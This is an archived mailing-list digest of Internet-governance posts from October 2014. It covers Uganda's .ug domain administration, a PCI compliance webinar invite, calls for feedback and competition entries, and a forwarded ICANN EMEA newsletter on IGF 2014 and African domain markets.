sections of society aren't alienated on the basis of gender, rural/urban divides, youth, disability among others? 6. What measures are in place to ensure that the Government of Uganda (the custodian of Uganda's resources on behalf of the people) actively participates in influencing the direction of the .ug ccTLD? 7. What measures are in place to ensure that civil society can have its input/feedback into the .ug ccTLD management process? At the current pace, there are more gaps being created in the overall .ug management and the earlier they are addressed, the better. A quick look at the .ke ccTLD, one is able to get updated information on how many domains that are registered and active, standing at 30,156 domains with a target of 33,800 domains by the close of 2014. Not only is it hard to get accurate information on the number of domains registered and active at the .ug ccTLD but the last time I got a whiff, the estimate was 3000 domains and assuming the numbers have doubled since then, our next door neighbors are definitely rounding us up five times. For purposes of cross comparisons, this table reveals a couple of things; The Government of Uganda through the Ministry of ICT <http://www.ict.go.ug> has come out to crusade for the formation of the Uganda National Information Centre (ugNIC) a not for profit company comprising of representatives from government, Internet Service Providers, Civil Society/ NGOs, consumers, infrastructure providers, academia and the business community. The ugNIC shall have the mandate to manage the operations of the .ug. According to the outlined functions for the ugNIC, it is worth noting that some issues were left out. It is vital that the company created should also undertake; * Marketing of the .ug ccTLD to win national appeal * Handling domain dispute resolution according to the set out guidelines and policies On the basis of this, it should therefore be clear that the following are mere myths: 1. That Charles Musisi <http://ug.linkedin.com/in/charlesi3c> or his company i3C <http://www.i3c.co.ug> OWN the .ug ccTLD 2. That the .ug ccTLD was assigned to a private company in bad faith. 3. That Government officials gave away the .ug ccTLD to a private entity. As an active member of the Internet Space in Uganda, some of the reasons why I support the proposed changes in the .ug ccTLD administration are; * Increased public accountability of the .ug resource * Increased community participation in determining the future of the .ug resource * The need to separate the Technical and Administrative management of the . ug resource. While i3C may have performed well handling the Technical aspects, it has fallen short on the Administrative front. * The lack of a well incentivised reseller programme has greatly hindered the promotion of the .ug ccTLD locally. * The need for serious promotion and marketing of the .ug ccTLD * Opportunity for using Government resources to upskill the technical managers of the .ug ccTLD. * Having witnessed companies fold, what happens if i3C closed shop out of the blue? It happened to Enron <http://en.wikipedia.org/wiki/Enron> (One of the largest energy companies in the world during the last century). Risking the .ug ccTLD resource to this level can have a massive impact on the nation in case such a scenario plays out. As the Ugandan Internet community, we need to be careful to avoid the misinformation that is flying around and also ensure that we lend our support in a manner that will put national benefit at the forefront while not forgetting the patriotic work people like Engineer Charles Musisi <http://ug.linkedin.com/in/charlesi3c> have rendered this nation in the past. Twitter: @wirejames <https://twitter.com/wirejames> Email: lunghabo [at] gmail [dot] com ______________________ Mwendwa Kivuva, Nairobi, Kenya twitter.com/lordmwesh "There are some men who lift the age they inhabit, till all men walk on higher ground in that lifetime." - Maxwell Anderson

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Webinar invite: PCI 3.0 is knocking on your door - are you ready?
by Bernard Mutai 15 Oct '14

15 Oct '14

Dear All, If you are interested in protecting PCI-DSS (Payment Card Industry - Data Security Standard), this webinar from Trustwave is for you. Please register to participate. Regards Ben Mutai [image: Trustwave]Send to a Friend <http://go.trustwave.com/v/b0000qFl3RA0Mg5z030gZ4c> [image: Trustwave] <http://go.trustwave.com/p0400R05AM0g0BcFql0gZ33> PCI 3.0 is knocking *Watch the webinar live on 16 October, 10AM UK* The implementation deadline for PCI DSS version 3.0 is right around the corner - is your organization prepared? With an evolving threat landscape, it may seem overwhelming to approach the new requirements of PCI 3.0. Join Trustwave, in partnership with ETA, for our educational webinar to help prepare you for the change. During the webinar, we'll cover: - Why PCI is so important in protecting your customers' data and your business - How to secure your business and prepare for PCI 3.0 - Tactics that will help ensure compliance and security are always top-of-mind for you and your employees *Date and Time:* 16th October 2014 10:00 am UK, 11:00 am Europe Register to reserve your spot <http://go.trustwave.com/f003q0l0ZC005F3gRcMBg04> [image: Webinar: PCI 3.0 is knocking] <http://go.trustwave.com/v04Z0c3D0qlMRgC5F03g000> Follow us: [image: LinkedIn] <http://go.trustwave.com/wFZMc4qRl0000g5D00g3E03>[image: Twitter] <http://go.trustwave.com/wFZMc4qRl0000g5E00g3F03>[image: Facebook] <http://go.trustwave.com/F5ZFl00GF0R0g33g000Mqc4>[image: Trustwave] Trustwave.com <http://go.trustwave.com/A30G04RF30cq5gg00l0H0ZM> | Legal Information <http://go.trustwave.com/G5F0M330ZH4IR0ql0000gcg> | Privacy Policy <http://go.trustwave.com/f003q0l0ZJ005F3gRcMIg04> © 2014 Trustwave Holdings, Inc. All rights reserved. ------------------------------ This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is strictly prohibited. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.

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FW: Call for feedback on two important IG issues...
by Grace Githaiga 14 Oct '14

14 Oct '14

From: stephaniep(a)diplomacy.edu Date: Tue, 14 Oct 2014 17:25:51 +0200 Subject: Call for feedback on two important IG issues... To: igcbp(a)diplomacy.edu Dear friends, We would like to invite you to share your thoughts on two very important and current issues in Internet governance - issues which you may have already thought about and discussed with you colleagues or in the community: #1 Overcoming policy silos: Across different countries and regions, stakeholders and policymakers often approach the same IG issues from various angles and policy routes. Parallel debates often take place, with the risk of policy incoherence and even turf battles among the forums discussing the same issues. So, how can we overcome policy silos or policy segregation? To arrive at possible solutions, we first need to understand how the policy process works in different countries by taking, as example, three areas: (a) data protection and privacy; (b) cybersecurity and cybercrime; (c) intellectual property rights. With this in mind, please take part in the survey on policy silos, and contribute to the discussion forum. #2. A one-stop shop: IG is a highly complex policy space with hundreds of actors addressing more than 50 different policy issues in a wide range of forums. So, to whom do we address our concerns? Which organisations do we get in touch with if we need information about different IG aspects? Where can we learn about the latest developments? A possible solution is the creation of a one-stop shop, or a ‘clearing house’, with the underlying aim of assisting players – especially governments and stakeholders from developing countries – in making better use of existing processes to help shape their own policies on national levels. The design is key: Should it be a new international Internet organisation, a global multistakeholder IG clearing house, a distributed governance system, or...? What functions should it have? Please share your views on discussion forum. Your contributions will be help us (a) identify approaches to overcome policy silos, and (b) make concrete proposals towards a clearing house. Needless to say, your contributions will be highly appreciated. The discussion is hosted by the Geneva Internet Platform, in preparation for the upcoming international conference, the Geneva Internet Conference. If you have any questions/comments, please do not hesitate to let me know. Thanks in advance,Stephanie -- Stephanie Borg PsailaDiploFoundation www.diplomacy.edu The latest from Diplo... Join our Internet governance community at www.diplointernetgovernance.org To unsubscribe from this group and stop receiving emails from it, send an email to igcbp+unsubscribe(a)diplomacy.edu.

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Young Innovators Competition Challenge 4
by Grace Githaiga 14 Oct '14

14 Oct '14

Dear Friends, We are sharing this information so that you could circulate to your networks for the benefit of our youth. We would also appreciate receiving contacts that you think would find this of benefit to them so that we could reach out to them. Thank you, Alice Begin forwarded message: From: Zürcher, Robin <robin.zurcher(a)itu.int> Date: October 1, 2014 at 10:07:04 AM GMT-4 To: "sg(a)atu-uat.org" <sg(a)atu-uat.org> Cc: "absoumaila(a)yahoo.fr" <absoumaila(a)yahoo.fr> Subject: Young Innovators Competition Challenge 4 To the attention of Mr Abdoulkarim SOUMAILA As part of the ITU, the UN agency responsible for ICT-related issues, ITU Telecom World Young Innovators Competition launched the 4th and last challenge of this year. Given your work with the ATU - African Telecommunications Union we kindly ask for your support in promoting the competition in your network in order to give the opportunity to participate to as many young people as possible. Please kindly pass the information to the relevant national administrations in order to spread the word among university students and other young bright minds in your country who might be interested in applying. This challenge is in partnership with the IEEE IoT Initiative and we are looking for the best ideas for new businesses and innovations on how the Internet of Things can be used for social good. We will be accepting ideas until November 03, 2014. The competition is open to 18-30 year-old young people from across ITU’s 193 member states. The winners are invited to the ITU Telecom World 2014 in Doha in December this year where they can showcase their innovative ideas and will enjoy mentoring and workshops on entrepreneurial skills. Prize money of up to USD 5,000 in the form of seed funding will be awarded to implement and bring to scale winning start-ups. Participants should go to https://ideas.itu.int to get more information and apply. Please feel free to distribute the flyer which you can find in the attachment. Please find more information in the Press Release in the six official UN languages, English, Arabic, Spanish, French, Russian, and Chinese. You can also learn more about the competition at http://telecomworld.itu.int/take-part/innovate/. For any further material or assistance, please email us at young.innovators(a)itu.int. Best regards, Robin Zuercher Young Innovators Competition Team --Forwarded Message Attachment--

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Fwd: [AfrICANN-discuss] EMEA Newsletter Issue #2
by Bob Omondi 13 Oct '14

13 Oct '14

FYI... ---------- Forwarded message ---------- From: Yaovi Atohoun <yaovi.atohoun(a)icann.org> Date: Sat, Oct 11, 2014 at 10:55 AM Subject: [AfrICANN-discuss] EMEA Newsletter Issue #2 To: AfrICANN list <africann(a)afrinic.net> Hi all / Bonjour a tous Please see below the second edition of our EMEA Newslettter. My apologies for the size of the text. Priere trouver dans ce message la deuxieme edition du Journal EMEA (Europe/Moyen-Orient/Afrique). Nous vous ferons parvenir la traduction lorsqu'elle est terminee. Mes excuses pour la longueur tu texte. Thanks/Merci - Yaovi Atohoun Stakeholder Engagement and Operations Manager – Africa ICANN – www.icann.org Mobile : +229 66015649 / 97891228 ============================================================= Issue #2 *Jump To:* Istanbul Hub Events <#148fe362255cb0a5_IHB> | EMEA News & Activities <#148fe362255cb0a5_ENA> | Regional Insights <#148fe362255cb0a5_IRI> | Spotlight <#148fe362255cb0a5_S> | Upcoming Events <#148fe362255cb0a5_KRUIE> | News Highlights <#148fe362255cb0a5_NH> Welcome to our second edition of the EMEA newsletter We’ve had a busy quarter, especially last month in Istanbul with various activities planned around the 9th Internet Governance Forum (IGF). Our newsletter provides a snapshot of activities within our Istanbul hub along with highlights from across Europe, the Middle East and Africa and also a few insights into what we have been doing and why. You will also find a special feature ‘Spotlight’ in this edition, which highlights efforts in the EMEA community and stories of successful multistakeholder collaboration designed to ensure the safeguarding of a secure, stable and resilient global Internet. This issue’s spotlight is the Lebanon Internet Center (LINC), a multistakeholder body mandated with overseeing Internet policies in Lebanon. It is the first national multistakeholder body in the Middle East launched earlier this year. LINC’s CEO shares his thoughts with us. We hope you find our news and features engaging and, as always, we welcome your feedback. *Happy Reading!* *The EMEA Team* ICANN’s Hub in Istanbul – Regional and Local Focus on Internet Activities The opening of the Istanbul Hub marked a significant milestone in the evolution of ICANN as it spreads its operational functions across three global headquarters—Los Angeles, Istanbul, and Singapore. Since then, the Istanbul hub office and its staff have served as both hosts and conveners with events stakeholders for across all of its sectors. Additionally, the hub provides full support to the engagement offices and their staff throughout the EMEA, along with standard ICANN services in the following areas: policy development, contractual compliance, operations, registries and registrars’ services, communications, meetings, and Board support. In our host city, Istanbul, we have been active in our outreach efforts on several levels, meeting and collaborating with members of government, business, academia, and civil society, a testament to ICANN’s commitment to the region and to its globalization efforts. Hosting and convening meetings of stakeholders from various sectors helps achieve ICANN’s engagement efforts in Turkey and the EMEA region more broadly. From meetings with researchers and scholars to planning a forum of DNS experts, ICANN appreciates the opportunity to demonstrate its commitment to globalizing its services and resources for the multistakeholder community. ICANN looks forward to expanding the Istanbul hub and further elevating its work in Turkey and the Europe, Middle East, and Africa region. *David Olive* *Vice President, Policy Development Support* *General Manager, ICANN Regional Headquarters –Istanbul* Internet Corporation for Assigned Names and Numbers (ICANN) _Istanbul Hub Events Meeting with law students from the Bilgi University IT Law Institute http://cyberlaw.bilgi.edu.tr/ Local Officials, ICANN President and CEO Launch .ist and .istanbul The Municipality of Istanbul signed an agreement with ICANN for the registration of .ist and .istanbul as domain extensions. Istanbul Mayor Kadir Topbaş and ICANN President and CEO Fadi Chehade attended the signing ceremony on 2 September 2014 in Istanbul. “Istanbul will also have a central presence on the Internet via the new '.ist' and '.istanbul' domains,” said the Mayor Topbaş. The Mayor said Istanbul was "in a position that can influence the world in many fields" and that the municipality is exerting efforts to turn Istanbul into "a hub for everything." Mentioning that few cities had their own domain names, Mayor Topbaş continued, "I believe it is a great opportunity to boost recognition of Istanbul and further expand its role as a financial hub." He emphasized that the city became the first of 81 cities in Turkey to have its own domain name. Fadi Chehadé noted that Istanbul has managed to preserve its past while building its future. "Istanbul is a unique city and imitated by others”, Chehadé said. “It will now have more online visibility and websites will benefit from those new domain names." Broad Multistakeholder Participation as IGF 2014 Wraps Up in Istanbul ICANN participated <https://www.icann.org/news/announcement-3-2014-08-25-en> in this year's 9th Internet Governance Forum (IGF) <http://www.intgovforum.org/cms/> meeting in Istanbul. The overarching theme of the meeting was Connecting Continents for Enhanced Multistakeholder Internet Governance <http://www.igf2014.org.tr/about.igf.html>. This year's meeting built on previous IGFs and furthered the dialogue on Internet governance and emerging Internet issues. It also built on the success of this year’s NETmundial in Sao Paulo, Brazil and promoted its outcomes. ICANN believes that the IGF plays an effective role in fostering global multistakeholder cooperation in Internet governance and strongly supports its continuation beyond its 2015 mandate. *Key IGF 2014 statistics* - 2,374 onsite participants - 1163 remote participants *Onsite Participation by Region**Onsite Participation by Stakeholder Group* Africa Asia Pacific Eastern Europe Host Country Host Country Latin America and the Caribbean Western Europe and Others 215 423 153 706 158 714 Civil Society Government Intergovernmental Organizations Host Country Private Sector Technical Community 836 542 98 516 289 Briefing by the Academic Community on Multistakholder Research Projects On 3 September, the IT Law Institute at İstanbul Bilgi University and the Harvard University Berkman Center for Internet and Society, both members of the Global Network of Interdisciplinary Internet & Society Centers (NoC <http://cyber.law.harvard.edu/research/network_of_centers>), introduced a preliminary report of ongoing research to members of the ICANN Board, senior ICANN executives, members of the Turkish Internet Improvement Board, and other Internet stakeholders. As an academic community, an integral part of the multistakeholder Internet governance approach, this group decided to make an academic contribution to the ongoing debate on the distributed, decentralized Internet governance ecosystem. They prepared a report based on the foundational principles of NetMundial and framework for a global, collaborative, and decentralized Internet governance ecosystem as described in the report of the Panel on Global Internet Cooperation and Governance Mechanisms. http://networkofcenters.net/event/evolution-internet-governance-ecosystem Future Activities Planned in Istanbul Taking place on the 18th November 2014 in Istanbul, is the Turkey DNS Forum where participants from ICANN, registries, registrars, registrants, ccTLDs, new gTLD applicants, policy makers, Internet service providers, IT businesses, brand owners, and legal firms all will attend in an attempt to build bridges between interested parties in Turkey and the world's experts in these fields, to share experiences and best practices, inform the audience of what is taking place in the domain name industry at a global level, and to discuss emerging business opportunities. The first edition of the forum is expected to be the building block for future annual forums. The purpose of an annual forum is to spread the message and introduce interested parties to the key players in the DNS industry, hopefully leading to a stronger domain name industry in the region. More details will be provided soon. _ EMEA News & Activities September 20143 SeptemberICANN signed an MoU with the Ministry of Information Society and Administration. Read more here <https://www.icann.org/news/blog/macedonia-and-icann-sign-cooperation-agreem…>Skopje, Macedonia8-11 SeptemberDNSSEC Workshop: http://dnssec-deployment.icann.org/training/AMM/Amman, Jordan15 SeptemberDanish IGF <http://www.fremtidensinternet.dk/> – Panel: Internet Governance – Who is in Control. Speaker – Jean-Jacque Sahel, VP Stakeholder Engagement, EuropeCopenhagen, Denmark17-19 SeptemberDNSSEC RoadshowYaounde, Cameroon17-19 SeptemberSouthern Africa IGF <http://giplatform.org/events/saigf-malawi> - Speaker: Bob Ochieng Lilongwe, Malawi24-26 SeptemberDemo Africa <http://www.demo-africa.com/events/event-details/demo-africa-2014>,; Speaker: Bob OchiengLagos, Nigeria28-30 SeptemberConnect to Connect <http://extensia-events.com/events/connect-2-connect-2014>,; - Main topic : Internetworking in Africa; Speaker: Bob OchiengTanzania22 SeptemberPanel “Roundtable on Internet Governance” <http://www.chathamhouse.org/event/multi-stakeholder-model-internet-governan…>, Speaker: Sally Costerton, Senior Advisor to the President, Internet Corporation for Assigned Names and Numbers (ICANN)London, UK23 SeptemberTunisian ICT Association Panel on “Internet Governance, present situation and new approaches”, Speaker: Baher Esmat, VP, Stakeholder Engagement, Middle East Hammamet, Tunisia October 20142-3 OctoberHigh Level Workshop on Internet Governance <http://www.smartrwandadays.rw>, ICANN Africa team and Mike Silber, ICANN board Member will be speaking. Kigali, Rwanda Government Engagement Group Activities8 SeptemberUN New York briefing hosted by the Polish and Mexican Permanent Missions to the UN - 40 attendees and active dialog with China, Egypt, the Philippines, Turkey and othersNew York15 SeptemberRegional IGFMacedonia22 SeptemberLunch briefing in Geneva to all missions and most IGOs and Internet organisations - Keynote by Fadi ChehadeGeneva29 SeptemberParis meeting convened by SG OIF of the steering committee on Forum de la Langue FrançaiseParis1 OctoberWTO Public Forum: Presentation on Internet and Trade by ISOC and ICANN _ ICANN Regional Insights The Internet Governance Forum: From Dialogue to Action *By Baher Esmat, VP Stakeholder Engagement, Middle East* IGF Photo Gallery: https://www.flickr.com/photos/icann/sets/72157647157492522/ When the Internet Governance Forum (IGF <http://www.intgovforum.org/cms/>) came to birth nine years ago, many perceived it as a mechanism for damage control. During its first couple of years, skepticism was rife about both its continuity and its ability to address controversial IG issues. However, over time, the IGF succeeded in bringing different stakeholders closer by offering them an open space for dialogue, very much like the Internet itself, where they can debate IG related issues. It has even gone further in building bridges of trust and knowledge transfer across stakeholders. The 9th IGF meeting was held in Istanbul, Turkey during 2-5 September 2014, bringing together more than 3,500 onsite and remote participants. This is credit to how the IGF has become a meeting point for those who are interested in the broad spectrum of Internet Governance, to come together, engage in discussions, interact with one another, and perhaps launch new ideas and initiatives. In fact, the very first IGF meeting took place the same year Twitter was created and Facebook was opened to the public. This was only eight years ago, yet the Internet has evolved tremendously since then. While one could argue that the IGF has evolved at a much slower pace than the Internet, the fact of the matter is that it is the IGF participants who have been shaping its evolution in a bottom-up, multi-stakeholder fashion, which by its very nature takes time to develop and thrive. But nevertheless, the IGF has continued to improve, particularly following the recommendations <http://unctad.org/meetings/en/SessionalDocuments/a67d65_en.pdf> of the CSTD working group on improvements to the IGF. This year’s IGF had a lot on the agenda, covering the current affairs of Internet Governance with a wide range of topics inclusive of ICANN accountability, network neutrality, Internet rights, digital trust, empowering youth, spam, content creation, to name just a few. Improvements to the IGF this year were manifested in many aspects that may be hard to cover in full here; but some are worth noting. In an attempt to make outcomes of the IGF more visible and tangible, the MAG Chair has put an open call for information on concrete actions and decisions taken by organizations as a result of their participation in the IGF. Feedback along with a summary document is available online <http://www.intgovforum.org/cms/documents/contributions/call-for-information>. Best practice forums have been introduced with an aim to have more informed discussions on specific topics and produce outcome documents. The IGF website has been given a facelift and become in some parts more streamlined. On the financial side, an IGF Support Association has been launched <http://www.internetsociety.org/news/new-association-launched-support-intern…> to support and complement existing funding, and to strengthen the IGF secretariat as well as regional and national IGFs. As in previous IGF meetings, ICANN was present <https://www.icann.org/news/announcement-3-2014-08-25-en> in Istanbul with staff, Board, and community members organizing and taking part in various sessions. The IGF offers ICANN the opportunity to reach out to a wider community that is not regularly present at ICANN meetings. The ICANN Open Forum attracted more than 100 participants who came to hear from ICANN leadership and have a dialogue with them on any issues related to ICANN. This year, the issue of IANA stewardship transition and ICANN accountability was the subject of discussion in several sessions. A Town Hall meeting was held on Day 1 to further engage with community and clarify any points in relation to the Enhancing ICANN Accountability and Governance Process <https://www.icann.org/news/announcement-08-2014-09-05-en>. This was yet another opportunity for ICANN to listen to community members and assure them that we are taking their feedback seriously. Statistics in the Chair’s summary <http://www.intgovforum.org/cms/documents/igf-meeting/igf-2014-istanbul/246-…> show that almost half of the IGF attendees this year were from developing countries. Enhancing participation from developing countries and involving new stakeholders was one of the key recommendations of the CSTD working group. Obviously, IGF Istanbul has made progress in this direction. Another issue the IGF has been looking into is how to strengthen its linkages with regional and national IGFs. Such regional and national forums, particularly those in developing countries, deem the global IGF as the place where they can showcase their work and at the same time get to learn from other experiences and return home with homework to do. As one participant from Yemen told me during the meeting “there is a lot going on in Internet governance and we’ve got enormous work to do back home”. So, “action” is what the IGF community is after, and many have felt that the IGF this year was more focused on the action side of the things, or as the Chair’s summary puts it: “From dialogue to action”. The importance of the 7th annual conference of registries and registrars in Baku this year *TLDCON-2014 was held on Sept.10-11 in Baku, Republic of Azerbaijan* *By Michael Yakushev, VP Stakeholder Engagement * Traditionally this conference attracts not only regional companies and organizations, but also a wider number of stakeholders and jurisdictions. This year more than 100 delegates from 24 countries gathered in Baku. The TLDCON-2014 was preceded by a regional ENOG conference, organized by RIPE NCC. The week was packed with interesting and fruitful discussions, by both the IP/Telecom and DNS business communities, on the most current Internet issues. Naturally, discussions focused on the new technical issues and legal challenges that arise with the evolving nature of the Internet and its ecosystem; becoming more complex and more diverse. The DNS industry, which was considered at the TLDCON-2014 as a ‘cornerstone’ of the Internet infrastructure, is heavily influenced by the nGTLDs Program, and we can see not only rapid regional development of some new domains, but also a certain decline of the growth rate of many ccTLDs, and failed expectations of the business success of other new GTLDs. This factor raised discussions on the future of the Internet, its technical infrastructure and its role in the global economic processes. Which is healthy and helps bring more awareness to the issues and processes that need to be followed in order to circumvent and overcome the hurdles faced with the growth of the Internet. Both events (TLDCON and ENOG meeting) are important for our regional efforts to engage stakeholders, to share best practices, and to understand better regional and global trends in the development of the network infrastructure, Internet-related business, and government regulation. Events in Baku were really cross-regional: people came there not only from the region of the Eastern Europe and Central Asia, but also from different Western and Southern European Countries, United States, and Asia. There were also proposals on better integration of such regional events into the overall ICANN meetings strategy, as many ‘Regional-specific’ issues may be fruitfully discussed and solved at the regional (or cross-regional) level, saving more room for global questions of the Internet Governance at ICANN meetings. ICANN had good presentation at the TLDCON-2014 by myself, Patrick Jones - Global Stakeholders Engagements Senior Director, and Sarmad Hussein-IDN Program Senior Manager. Issues like new GTLD Program implementation, development of the L-Root infrastructure, IDN Variants and Label Generation Panel for Cyrillic names, NTIA transition project, and forecasts for the “Internet-2020”, were covered. All such issues are among the most discussed in the local technical and business communities. A lot of commercial companies and government agencies expressed their interest to the possible new cycle of the nTLD program. Many regional companies would like to install L-Root servers for improving their global connectivity. As the official languages of many countries in the region are based on Cyrillic letters, and there may be new IDN gTLDs in the future, the corresponding technical issues should be solved as soon as possible. And, finally, any proposals for the regulation and/or technical projects should be based on the vision, what the main trends in the Internet development are now and may be visible in the future. Further information on the conference may be found at http://meeting.cctld.ru/en/. >From Westphalia to Sao Paulo: building our future (governance) together *By Jean-Jacques Sahel, VP Stakeholder Engagement, Europe* Evolution is happening at an exponential rate in our time. You need only remember, the Radio took 38 years to reach a market of 50 million users; Television took 13 years to reach 50 million users - and the Internet took only about 4 years to reach the same number. Today, close to 3 billion users have increasingly come to rely on Internet access to facilitate basic, everyday needs and aspirations, all over the world. In less than one generation, the Internet exploded in the number of users, mobility, data volumes, economic importance, and global reach. These achievements are due in some significant part to the Internet’s peculiar bottom-up, multi-stakeholder model of governance which, by bringing together different stakeholders' particular remit and expertise, helped to achieve a scalable and robust Internet. Yet, for all the progress enabled by the multi-stakeholder model we are mindful that the Internet is relatively young, and likewise is our pioneering system of governance. The very pace and magnitude of the Internet’s development has also brought with it a whole set of new challenges we have to address as we build our future Internet governance together. It is a long road ahead of us. Relying on, and improving, our decentralized, collaborative, multi-stakeholder model of governance is the best way to address these new challenges and evolve the way the Internet is governed in the future. One of the major steps in consolidating and improving the model is happening right now with the transition of oversight for the IANA functions, and the accountability & governance review that comes with this change. It is perhaps interesting to look at what the multi-stakeholder model often gets compared to, or contrasted with: the nation-state model enshrined in the treaties of Westphalia in 1648; when the major powers in Europe agreed on a number of peace treaties aimed to end the wars that had plagued much of continental Europe for most of the century. As often, nothing happens overnight. The model did not achieve its aim of peace immediately: France and Spain were at war for another 11 years after the treaties were signed. In short, what this experience could tell us is: give peace – and multi-stakeholderism – a chance to develop. It is incumbent on us all to engage positively and constructively towards improving our processes, and to allow for the necessary time for the model to develop and thrive – we are after all, experimenting with a model, which could solve more than just the Internet’s problems. Just over 20 years ago, Samuel Huntington famously raised the prospect of a looming ‘clash of civilizations’, of cultural conflicts. Others since – and many more recently, in the wake of the multiplication of regional and transnational conflicts – have expanded to talk about the end of the nation-state system as initiated in 1648. As we enter the 21st century and are waking to the realization of the immense benefits of the Internet - our first truly global tool of human ‘inter-connectedness’ - the multi-stakeholder model presents an interesting evolution in governance possibilities. One that could not replace, but coexist with and relieve, the nation-state system. Over the next year, in taking forward the Net Mundial Roadmap and transitioning the USG oversight of IANA to the ‘global multi-stakeholder community’, we have a great chance - and a common responsibility: to work together to build on and reinforce the multi-stakeholder global model of governance that has permitted the Internet to serve the whole world so amazingly over the past quarter of a century. As someone stated once: ‘Internet Governance in in Your Hands’. Or as I would say, in my understated fashion: ‘the future is in your hands’ – together we can build a better and evolving Internet that serves all of our needs and aspirations. Monetization of the Africa domain name space *By Pierre Dandjinou, VP, Africa* Domain monetization is one of the largest and most profitable online industries. Simply put, a company or an individual decides to purchase domain names either to sell, lease, or to park them with the purpose of making money. The ROI (return on investment) rate through domain monetization depends on the entrepreneur’s plans and initiative. Registries and registrars also can reap benefits through the potential of domain monetization. Why should one discuss monetization in Africa? The recently held Africa Domain Name Forum in Abuja Nigeria offered many examples of how African registries and registrars have taken advantage of new opportunities through investment and monetization. Moreover, registries feel the need to increase their customer base; hence the necessity for engaging in targeted marketing activities. The ICANN African strategy calls for a series of initiatives including capacity building that could boost the African domain name market and business. One obvious result of increased monetization of the domain name space in Africa is the potential transformation of the current ecosystem, with a total of approximately 1,200,000 registrations (out of a population of 1.2 billion). Of these, nine hundred thousand (900,000) are solely from South Africa. This alone shows how much work we need to do to fully capitalize on the domain industry. Indeed there are different methods of monetizing domain names: - Developing Affiliate Websites - Developing Pay Per Click(PPC) Websites , which originates from PPC advertising systems such as Google AdSense and Yahoo Publisher Network. - Domain Parking - Domain Leasing – Renting the domain name to advertisers or other interested parties - Domain Purchase and Resale - Domain Development which entails development of a website with unique content and a business model For African registries, one way of monetizing is the development of registrar and reseller friendly TLD policies. Other avenues include the development of local content and scalable automated registry platforms as well as through the improvement of the technical and business capacity of registry operators through continuous training and packaging of domains as a service and not as a commodity. For registrars and resellers, the reduced taxation, which has a direct impact on the overall cost of domains, should be the norm as this will lead to a reduction in the cost of registering domain names. Consequently, African Governments should also consider tax waivers for ccTLDs to promote uptake. Marketing is another key element, which starts by the registries offering reliable and predictable service to their clients. Hence, the technical staff plays as equal a responsibility in marketing as the business staff by ensuring stable, reliable and secure registries. Moreover, registries should look for agile and adapted payment solutions. For example, e -payment and cash payment should run in parallel. Many online payments solutions (especially PayPal) exist but have yet to be implemented in most parts of Africa. As was noted in the Africa strategy, there is a need to build capacities for business development within African ccTLDs and registrars; issues pertaining to quality of service (QoS), and quality of experience (QoE) as well as trademarks and Intellectual property concerns should be considered and embedded within comprehensive and operational policies and procedures. In so doing, one paves the way for the advent of an African business and industry of the domain name. The Story behind ICANN’s BCG Road show *By Chris Mondini, VP Stakeholder Engagement, Global Business and North America* The work of ICANN in coordinating the names and addresses of the Internet helps keep it global, expanding and interoperable. Furthermore, increased access to a global, expanding, and interoperable Internet is good for business and national economies. Support for this point can be found in the Boston Consulting Group’s report on E friction, “Greasing the Wheels of the Internet Economy” <https://www.icann.org/en/system/files/files/bcg-internet-economy-27jan14-en…> . The BCG report came out in January, and continues to resonate with governments and business leaders around the world by providing a clear roadmap of how businesses and national economies can continue to benefit by fully embracing a global, borderless Internet. Why did ICANN commission the research? In part because much of the current reporting in global Internet governance has focused on the “doom and gloom” scenarios of an Internet fragmented or “balkanized” by a patchwork or national regulatory regimes. And in part, not much research has been done on the effect of barriers and hurdles in the online world, and the drag they have on economic growth. The E friction report has made it easier to identify the areas of friction that hold back the digital economy and at the same time has helped ICANN to emphasize the opportunities for advancement that come from making the most of the ever expanding, globally interoperable Internet. This last point is especially useful for business users of the Internet and the Domain Name System. In conducting their research, BCG found that Small and Medium Enterprises with a robust web presence, who make the most of online marketing, sales and systems management, and who embrace cloud computing can considerably grow their revenues. By creating an index and measuring the performance of 65 countries, BCG has provided a valuable benchmark against which future gains can be measured. But it is all predicated on an Internet that remains borderless and interoperable, hence complementing other reports that highlight the benefits of reducing or eliminating barriers to Internet access and its affect for both countries and companies. Each ICANN-BCG roundtable gathers a mix of government officials and business leaders and takes on its own regional characteristics. A representative from a global telecommunications firm described the discussions a “crisp and brisk … full of innovative thinking and interesting people”. Another participant asserted: “the world needs to know about the risks faced by the global Internet. It is up to business to help governments understand what’s at stake”. In creating a country index, BCG has opened the door to possible future iterations of the report to see how countries perform. In the meantime, at least one ICT ministry has reported that they will use the report as a menu of ways to work with business to improve their country’s friction score. The report has also successfully underscored ICANN’s role as a partner in a shared aim to maintain an open, scalable and interoperable Internet. ICANN Business Engagement meeting successfully held in Africa *By Bob Ochieng, Manager; Stakeholder Engagement - East Africa* ICANN's work is crucial to the interoperability and growth of the Internet on which so many businesses depend regardless of geographical location.. Furthermore, ICANN is an open and participatory model – business advantage and useful information can be gained simply through participation. Knowing – and actually shaping – Internet policy related to the Domain Name System and other unique identifiers is a primary reason many companies participate today. But while participation has increased over the years, private sector involvement in general, especially in Africa, is minimal. This has prompted ICANN to engage this constituency to stimulate better and meaningful participation from across the world. And so as curtain came down on the 9th global IGF in Istanbul, Chris Mondini headed to Nairobi, Kenya where he convened a business engagement roundtable.. The event was titled “Sustaining the power of the global Internet for transformative economic growth” and was designed to encourage participants to focus on the Internet as a global business resource with the potential of contributing significantly to the growth of a national GDP as evidenced by the recent report by the Boston Consulting Group on “e-friction”. This meeting was just the first of many that will be held in various parts of Africa, targeting the business sector in line with the Africa strategy. In preparation for the Nairobi meeting, we collaborated with the Ministry of ICT, the Director General of the Kenya regulator (Communications Authority - CA) and key Telco’s and ISPs in Kenya while coordinating with the ISP Association in Kenya (Telecommunications Service Providers Association – TESPOK) and KeNIC (.KE registry) to widen our reach to the community. The two-day meeting engaged over 60 participants from two groups of business stakeholders, namely, telecommunications businesses - those involved in the ICT business including Telco’s – as well as other businesses involving banks, and the Chamber of Commerce. The mixed panel presentation areas focused on the ICANN Africa Strategy and the BCG report with a panel discussion on Business Engagement – the How & Why Engage? It was stressed during the panel discussions that the BCG report is meant to stimulate countries and its policy makers to refocus their attention in addressing key areas of e-friction (infrastructure; industry; information; and individual) by having all parties siting on the same side of the table to deliberate. All in all, the reception to the panels was positive with candid and constructive engagement from the attendees. The key takeaways from our panel was how to localize the data presented to better engage the African business community, and the recognition that there is definitely a need to spread this engagement 